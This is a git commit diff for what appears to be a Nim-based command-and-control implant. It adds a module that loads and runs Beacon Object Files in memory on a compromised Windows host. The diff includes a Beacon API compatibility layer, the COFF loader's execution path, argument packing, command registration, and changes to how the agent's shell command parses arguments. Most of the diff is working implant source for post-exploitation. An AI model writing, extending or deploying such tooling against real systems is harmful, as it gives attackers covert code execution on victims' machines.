Added 'bof' module for executing object files and fixed handling of optional arguments.
This commit is contained in:
@@ -19,32 +19,32 @@ const
|
||||
|
||||
type
|
||||
datap* {.bycopy,packed.} = object
|
||||
original*: ptr char
|
||||
buffer*: ptr char
|
||||
original*: PCHAR
|
||||
buffer*: PCHAR
|
||||
length*: int
|
||||
size*: int
|
||||
|
||||
formatp* {.bycopy,packed.} = object
|
||||
original*: ptr char
|
||||
buffer*: ptr char
|
||||
original*: PCHAR
|
||||
buffer*: PCHAR
|
||||
length*: int
|
||||
size*: int
|
||||
|
||||
# Reference: https://forum.nim-lang.org/t/7352
|
||||
type va_list* {.importc: "va_list", header: "<stdarg.h>".} = object
|
||||
proc va_start(format: va_list, args: ptr char) {.stdcall, importc, header: "stdio.h"}
|
||||
proc va_start(format: va_list, args: PCHAR) {.stdcall, importc, header: "stdio.h"}
|
||||
proc va_end(ap: va_list) {.stdcall, importc, header: "stdio.h"}
|
||||
proc vprintf(format: cstring, args: va_list) {.stdcall, importc, header: "stdio.h"}
|
||||
proc vsnprintf(buffer: cstring; size: int; fmt: cstring; args: va_list): int {.stdcall, importc, dynlib: "msvcrt".}
|
||||
|
||||
var beaconCompatibilityOutput: ptr char = nil
|
||||
var beaconCompatibilityOutput: PCHAR = nil
|
||||
var beaconCompatibilitySize: int = 0
|
||||
var beaconCompatibilityOffset: int = 0
|
||||
|
||||
#[
|
||||
Parsing
|
||||
]#
|
||||
proc BeaconDataParse(parser: ptr datap, buffer: ptr char, size: int): void {.stdcall.} =
|
||||
proc BeaconDataParse(parser: ptr datap, buffer: PCHAR, size: int): void {.stdcall.} =
|
||||
if cast[uint64](parser) == 0:
|
||||
return
|
||||
|
||||
@@ -87,13 +87,13 @@ proc BeaconDataLength(parser: ptr datap): int {.stdcall.} =
|
||||
|
||||
return parser.length
|
||||
|
||||
proc BeaconDataExtract(parser: ptr datap, size: ptr int): ptr char {.stdcall.} =
|
||||
proc BeaconDataExtract(parser: ptr datap, size: ptr int): PCHAR {.stdcall.} =
|
||||
if cast[uint64](parser) == 0:
|
||||
return
|
||||
|
||||
var
|
||||
length: int32 = 0
|
||||
outData: ptr char = nil
|
||||
outData: PCHAR = nil
|
||||
|
||||
# Length of prefixed binary blob
|
||||
if parser.length < 4:
|
||||
@@ -118,7 +118,7 @@ proc BeaconFormatAlloc(format: ptr formatp, maxsz: int): void {.stdcall.} =
|
||||
if format == NULL:
|
||||
return
|
||||
|
||||
format.original = cast[ptr char](alloc(maxsz))
|
||||
format.original = cast[PCHAR](alloc(maxsz))
|
||||
zeroMem(format.original, maxsz)
|
||||
format.buffer = format.original
|
||||
format.length = 0
|
||||
@@ -144,7 +144,7 @@ proc BeaconFormatFree(format: ptr formatp): void {.stdcall.} =
|
||||
format.length = 0
|
||||
format.size = 0
|
||||
|
||||
proc BeaconFormatAppend(format: ptr formatp, text: ptr char, len: int): void {.stdcall.} =
|
||||
proc BeaconFormatAppend(format: ptr formatp, text: PCHAR, len: int): void {.stdcall.} =
|
||||
if format == NULL or text == NULL:
|
||||
return
|
||||
|
||||
@@ -152,7 +152,7 @@ proc BeaconFormatAppend(format: ptr formatp, text: ptr char, len: int): void {.s
|
||||
format.buffer += len
|
||||
format.length += len
|
||||
|
||||
proc BeaconFormatPrintf(format: ptr formatp, fmt: ptr char): void {.stdcall, varargs.} =
|
||||
proc BeaconFormatPrintf(format: ptr formatp, fmt: PCHAR): void {.stdcall, varargs.} =
|
||||
if format == NULL or fmt == NULL:
|
||||
return
|
||||
|
||||
@@ -172,7 +172,7 @@ proc BeaconFormatPrintf(format: ptr formatp, fmt: ptr char): void {.stdcall, var
|
||||
format.length += length
|
||||
format.buffer += length
|
||||
|
||||
proc BeaconFormatToString(format: ptr formatp, size: ptr int): ptr char {.stdcall.} =
|
||||
proc BeaconFormatToString(format: ptr formatp, size: ptr int): PCHAR {.stdcall.} =
|
||||
if format == NULL or size == NULL:
|
||||
return
|
||||
|
||||
@@ -205,12 +205,12 @@ proc BeaconFormatInt(format: ptr formatp, value: int): void =
|
||||
#[
|
||||
Output functions
|
||||
]#
|
||||
proc BeaconPrintf(typeArg: int, fmt: ptr char):void{.stdcall, varargs.} =
|
||||
proc BeaconPrintf(typeArg: int, fmt: PCHAR):void{.stdcall, varargs.} =
|
||||
if fmt == NULL:
|
||||
return
|
||||
|
||||
var length: int = 0
|
||||
var tempPtr: ptr char = nil
|
||||
var tempPtr: PCHAR = nil
|
||||
var args: va_list
|
||||
va_start(args, fmt)
|
||||
vprintf(fmt, args)
|
||||
@@ -219,7 +219,7 @@ proc BeaconPrintf(typeArg: int, fmt: ptr char):void{.stdcall, varargs.} =
|
||||
va_start(args, fmt)
|
||||
length = vsnprintf(NULL, 0, fmt, args)
|
||||
va_end(args)
|
||||
tempPtr = cast[ptr char](realloc(beaconCompatibilityOutput,beaconCompatibilitySize + length + 1))
|
||||
tempPtr = cast[PCHAR](realloc(beaconCompatibilityOutput,beaconCompatibilitySize + length + 1))
|
||||
if tempPtr == nil:
|
||||
return
|
||||
beaconCompatibilityOutput = tempPtr
|
||||
@@ -230,12 +230,12 @@ proc BeaconPrintf(typeArg: int, fmt: ptr char):void{.stdcall, varargs.} =
|
||||
beaconCompatibilityOffset += length
|
||||
va_end(args)
|
||||
|
||||
proc BeaconOutput(typeArg: int, data: ptr char, len: int): void {.stdcall.} =
|
||||
proc BeaconOutput(typeArg: int, data: PCHAR, len: int): void {.stdcall.} =
|
||||
if data == NULL:
|
||||
return
|
||||
|
||||
var tempPtr: ptr char = nil
|
||||
tempPtr = cast[ptr char](realloc(beaconCompatibilityOutput,beaconCompatibilitySize + len + 1))
|
||||
var tempPtr: PCHAR = nil
|
||||
tempPtr = cast[PCHAR](realloc(beaconCompatibilityOutput,beaconCompatibilitySize + len + 1))
|
||||
beaconCompatibilityOutput = tempPtr
|
||||
if tempPtr == nil:
|
||||
return
|
||||
@@ -263,7 +263,7 @@ proc BeaconIsAdmin(): BOOL {.stdcall.}=
|
||||
#[
|
||||
Spawn+Inject Functions
|
||||
]#
|
||||
proc BeaconGetSpawnTo(x86: BOOL, buffer: ptr char, length: int): void {.stdcall.} =
|
||||
proc BeaconGetSpawnTo(x86: BOOL, buffer: PCHAR, length: int): void {.stdcall.} =
|
||||
if buffer == NULL:
|
||||
return
|
||||
|
||||
@@ -290,11 +290,11 @@ proc BeaconSpawnTemporaryProcess(x86: BOOL, ignoreToken: BOOL, sInfo: ptr STARTU
|
||||
|
||||
return bSuccess
|
||||
|
||||
proc BeaconInjectProcess(hProc: HANDLE, pid: int, payload: ptr char, p_len: int, p_offset: int, arg: ptr char, a_len: int): void {.stdcall.} =
|
||||
proc BeaconInjectProcess(hProc: HANDLE, pid: int, payload: PCHAR, p_len: int, p_offset: int, arg: PCHAR, a_len: int): void {.stdcall.} =
|
||||
# Not implemented
|
||||
return
|
||||
|
||||
proc BeaconInjectTemporaryProcess(pInfo: ptr PROCESS_INFORMATION, payload: ptr char, p_len: int, p_offset: int, arg: ptr char, a_len: int): void {.stdcall.} =
|
||||
proc BeaconInjectTemporaryProcess(pInfo: ptr PROCESS_INFORMATION, payload: PCHAR, p_len: int, p_offset: int, arg: PCHAR, a_len: int): void {.stdcall.} =
|
||||
# Not implemented
|
||||
return
|
||||
|
||||
@@ -305,12 +305,12 @@ proc BeaconCleanupProcess(pInfo: ptr PROCESS_INFORMATION): void {.stdcall.} =
|
||||
#[
|
||||
Utility Functions
|
||||
]#
|
||||
proc toWideChar(src: ptr char, dst: ptr char, max: int): BOOL {.stdcall.} =
|
||||
proc toWideChar(src: PCHAR, dst: PCHAR, max: int): BOOL {.stdcall.} =
|
||||
# Not implemented
|
||||
return FALSE
|
||||
|
||||
proc BeaconGetOutputData*(outSize: ptr int): ptr char {.stdcall.} =
|
||||
var outData: ptr char = beaconCompatibilityOutput
|
||||
proc BeaconGetOutputData*(outSize: ptr int): PCHAR {.stdcall.} =
|
||||
var outData: PCHAR = beaconCompatibilityOutput
|
||||
|
||||
if cast[uint64](outSize) != 0:
|
||||
outsize[] = beaconCompatibilitySize
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import winim/lean
|
||||
import os, strformat, strutils, ptr_math
|
||||
import ./beacon
|
||||
import ../../common/[types, utils]
|
||||
import ../../common/[types, utils, serialize]
|
||||
|
||||
#[
|
||||
Object file loading involves the following steps
|
||||
@@ -262,8 +262,7 @@ proc objectProcessSection(objCtx: POBJECT_CTX): bool =
|
||||
Arguments:
|
||||
- objCtx: Object context
|
||||
- entry: Name of the entry function to be executed
|
||||
- args: Pointer to the address of the arguments passed to the object file
|
||||
- argc: Size of the arguments passed to the object file
|
||||
- args: Arguments passed to the object file
|
||||
]#
|
||||
proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: seq[byte]): bool =
|
||||
|
||||
@@ -300,7 +299,11 @@ proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: seq[byte]): bool =
|
||||
|
||||
# Execute BOF entry point
|
||||
var entryPoint = cast[EntryPoint](cast[uint](secBase) + cast[uint](objSym.Value))
|
||||
entryPoint(addr args[0], cast[ULONG](args.len()))
|
||||
|
||||
if args.len > 0:
|
||||
entryPoint(addr args[0], cast[ULONG](args.len()))
|
||||
else:
|
||||
entryPoint(NULL, 0)
|
||||
|
||||
# Revert the memory protection change
|
||||
if VirtualProtect(secBase, secSize, oldProtect, addr oldProtect) == 0:
|
||||
@@ -314,12 +317,11 @@ proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: seq[byte]): bool =
|
||||
Loads, parses and executes a object file in memory
|
||||
|
||||
Arguments:
|
||||
- pObject: Base address of the object file in memory
|
||||
- sFunction: Name of the function to be executed, usually "go"
|
||||
- pArgs: Base address of the arguments to be passed to the function
|
||||
- uArgc: Size of the arguments passed to the function
|
||||
- objectFile: Bytes of the object file
|
||||
- args: Bytes of the COFF arguments
|
||||
- entryFunction: Name of the entry function to look for, usually "go"
|
||||
]#
|
||||
proc inlineExecute*(objectFile: seq[byte], args: seq[byte], entryFunction: string = "go"): bool =
|
||||
proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction: string = "go"): bool =
|
||||
|
||||
var
|
||||
objCtx: OBJECT_CTX
|
||||
@@ -399,7 +401,14 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte], entryFunction: strin
|
||||
|
||||
return true
|
||||
|
||||
proc inlineExecuteGetOutput*(objectFile: seq[byte], args: seq[byte], entryFunction: string = "go"): string =
|
||||
#[
|
||||
Execute a object file in memory and retrieve the output using the BeaconGetOutputData API
|
||||
Arguments:
|
||||
- objectFile: Bytes of the object file
|
||||
- args: Bytes of the COFF arguments
|
||||
- entryFunction: Name of the entry function to look for, usually "go"
|
||||
]#
|
||||
proc inlineExecuteGetOutput*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction: string = "go"): string =
|
||||
|
||||
if not inlineExecute(objectFile, args, entryFunction):
|
||||
raise newException(CatchableError, fmt"[-] Failed to inline-execute object file.")
|
||||
@@ -407,33 +416,21 @@ proc inlineExecuteGetOutput*(objectFile: seq[byte], args: seq[byte], entryFuncti
|
||||
var output = BeaconGetOutputData(NULL)
|
||||
return $output
|
||||
|
||||
proc HexStringToByteArray(hexString:string,hexLength:int):seq[byte] =
|
||||
var returnValue:seq[byte] = @[]
|
||||
for i in countup(0,hexLength-1,2):
|
||||
try:
|
||||
#cho hexString[i..i+1]
|
||||
returnValue.add(fromHex[uint8](hexString[i..i+1]))
|
||||
except ValueError:
|
||||
return @[]
|
||||
#fromHex[uint8]
|
||||
return returnValue
|
||||
#[
|
||||
Process the COFF arguments according to:
|
||||
https://github.com/trustedsec/COFFLoader/blob/main/beacon_generate.py
|
||||
]#
|
||||
proc generateCoffArguments*(args: seq[TaskArg]): seq[byte] =
|
||||
|
||||
var packer = Packer.init()
|
||||
for arg in args:
|
||||
packer.add(uint32(arg.data.len()))
|
||||
packer.addData(arg.data)
|
||||
|
||||
proc test*() =
|
||||
# Add terminating NULL byte to the end of string arguments
|
||||
if arg.argType == uint8(types.STRING):
|
||||
packer.add(uint8('\0'))
|
||||
|
||||
var
|
||||
fileName = "dir.x64.o"
|
||||
pObject = readFile(fileName)
|
||||
uLength: ULONG = cast[ULONG](pObject.len)
|
||||
let argBytes = packer.pack()
|
||||
|
||||
echo fmt"[+] Read file {fileName}: 0x{(addr pObject[0]).toHex()} (Size: {uLength} bytes)"
|
||||
|
||||
try:
|
||||
let args = "130000000f000000433a2f55736572732f6a616b6f6200"
|
||||
let argsBuffer = HexStringToByteArray(args, args.len)
|
||||
|
||||
echo $argsBuffer
|
||||
|
||||
echo inlineExecuteGetOutput(string.toBytes(pObject), argsBuffer)
|
||||
|
||||
except CatchableError as err:
|
||||
echo "[-] ", err.msg
|
||||
return uint32.toBytes(uint32(argBytes.len())) & argBytes
|
||||
|
||||
@@ -70,6 +70,4 @@ proc main() =
|
||||
echo "[-] ", err.msg
|
||||
|
||||
when isMainModule:
|
||||
test()
|
||||
quit(0)
|
||||
main()
|
||||
@@ -43,6 +43,7 @@ type
|
||||
CMD_PS = 9'u16
|
||||
CMD_ENV = 10'u16
|
||||
CMD_WHOAMI = 11'u16
|
||||
CMD_BOF = 12'u16
|
||||
|
||||
StatusType* = enum
|
||||
STATUS_COMPLETED = 0'u8
|
||||
|
||||
58
src/modules/bof.nim
Normal file
58
src/modules/bof.nim
Normal file
@@ -0,0 +1,58 @@
|
||||
import ../common/[types, utils]
|
||||
|
||||
# Define function prototype
|
||||
proc executeBof(ctx: AgentCtx, task: Task): TaskResult
|
||||
|
||||
# Command definition (as seq[Command])
|
||||
let commands*: seq[Command] = @[
|
||||
Command(
|
||||
name: protect("bof"),
|
||||
commandType: CMD_BOF,
|
||||
description: protect("Execute a object file in memory and retrieve the output."),
|
||||
example: protect("bof /path/to/dir.x64.o C:\\Users"),
|
||||
arguments: @[
|
||||
Argument(name: protect("path"), description: protect("Local path to the object file to execute."), argumentType: BINARY, isRequired: true),
|
||||
Argument(name: protect("arguments"), description: protect("Arguments to be passed to the object file."), argumentType: STRING, isRequired: false)
|
||||
],
|
||||
execute: executeBof
|
||||
)
|
||||
]
|
||||
|
||||
# Implement execution functions
|
||||
when defined(server):
|
||||
proc executeBof(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||
|
||||
when defined(agent):
|
||||
|
||||
import osproc, strutils, strformat
|
||||
import ../agent/core/coff
|
||||
import ../agent/protocol/result
|
||||
import ../common/utils
|
||||
|
||||
proc executeBof(ctx: AgentCtx, task: Task): TaskResult =
|
||||
try:
|
||||
var
|
||||
objectFile: seq[byte]
|
||||
arguments: seq[byte]
|
||||
|
||||
# Parse arguments
|
||||
case int(task.argCount):
|
||||
of 1: # Only the object file has been passed as an argument
|
||||
objectFile = task.args[0].data
|
||||
arguments = @[]
|
||||
else: # The optional 'arguments' parameter was included
|
||||
objectFile = task.args[0].data
|
||||
|
||||
# Combine the passed arguments into a format that is understood by the Beacon API
|
||||
arguments = generateCoffArguments(task.args[1..^1])
|
||||
|
||||
echo fmt" [>] Executing object file."
|
||||
let output = inlineExecuteGetOutput(objectFile, arguments)
|
||||
|
||||
if output != "":
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output))
|
||||
else:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_NO_OUTPUT, @[])
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
@@ -6,7 +6,8 @@ import
|
||||
shell,
|
||||
sleep,
|
||||
filesystem,
|
||||
environment
|
||||
environment,
|
||||
bof
|
||||
|
||||
type
|
||||
ModuleManager* = object
|
||||
@@ -26,6 +27,7 @@ proc loadModules*() =
|
||||
registerCommands(sleep.commands)
|
||||
registerCommands(filesystem.commands)
|
||||
registerCommands(environment.commands)
|
||||
registerCommands(bof.commands)
|
||||
|
||||
proc getCommandByType*(cmdType: CommandType): Command =
|
||||
return manager.commandsByType[cmdType]
|
||||
|
||||
@@ -39,11 +39,11 @@ when defined(agent):
|
||||
of 1: # Only the command has been passed as an argument
|
||||
command = Bytes.toString(task.args[0].data)
|
||||
arguments = ""
|
||||
of 2: # The optional 'arguments' parameter was included
|
||||
else: # The optional 'arguments' parameter was included
|
||||
command = Bytes.toString(task.args[0].data)
|
||||
arguments = Bytes.toString(task.args[1].data)
|
||||
else:
|
||||
discard
|
||||
|
||||
for arg in task.args[1..^1]:
|
||||
arguments &= Bytes.toString(arg.data) & " "
|
||||
|
||||
echo fmt" [>] Executing command: {command} {arguments}"
|
||||
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
import strutils, times
|
||||
|
||||
import strutils, sequtils, times
|
||||
import ../../common/[types, sequence, crypto, utils]
|
||||
|
||||
proc parseInput*(input: string): seq[string] =
|
||||
@@ -63,12 +62,10 @@ proc parseArgument*(argument: Argument, value: string): TaskArg =
|
||||
raise newException(ValueError, "Invalid value for boolean argument.")
|
||||
|
||||
of STRING:
|
||||
arg.data = cast[seq[byte]](value)
|
||||
arg.data = string.toBytes(value)
|
||||
|
||||
of BINARY:
|
||||
# Read file as binary stream
|
||||
|
||||
discard
|
||||
arg.data = string.toBytes(readFile(value))
|
||||
|
||||
return arg
|
||||
|
||||
@@ -84,16 +81,16 @@ proc createTask*(cq: Conquest, command: Command, arguments: seq[string]): Task =
|
||||
|
||||
var taskArgs: seq[TaskArg]
|
||||
|
||||
# Add the task arguments
|
||||
for i, arg in command.arguments:
|
||||
if i < arguments.len:
|
||||
taskArgs.add(parseArgument(arg, arguments[i]))
|
||||
else:
|
||||
if arg.isRequired:
|
||||
raise newException(ValueError, "Missing required argument.")
|
||||
else:
|
||||
# Handle optional argument
|
||||
taskArgs.add(parseArgument(arg, ""))
|
||||
# Add the task arguments
|
||||
if arguments.len() < command.arguments.filterIt(it.isRequired).len():
|
||||
raise newException(CatchableError, "Missing required argument.")
|
||||
|
||||
for i, arg in arguments:
|
||||
if i < command.arguments.len():
|
||||
taskArgs.add(parseArgument(command.arguments[i], arg))
|
||||
else:
|
||||
# Optional arguments should ALWAYS be placed at the end of the command and take the same definition
|
||||
taskArgs.add(parseArgument(command.arguments[^1], arg))
|
||||
|
||||
task.args = taskArgs
|
||||
|
||||
|
||||
Reference in New Issue
Block a user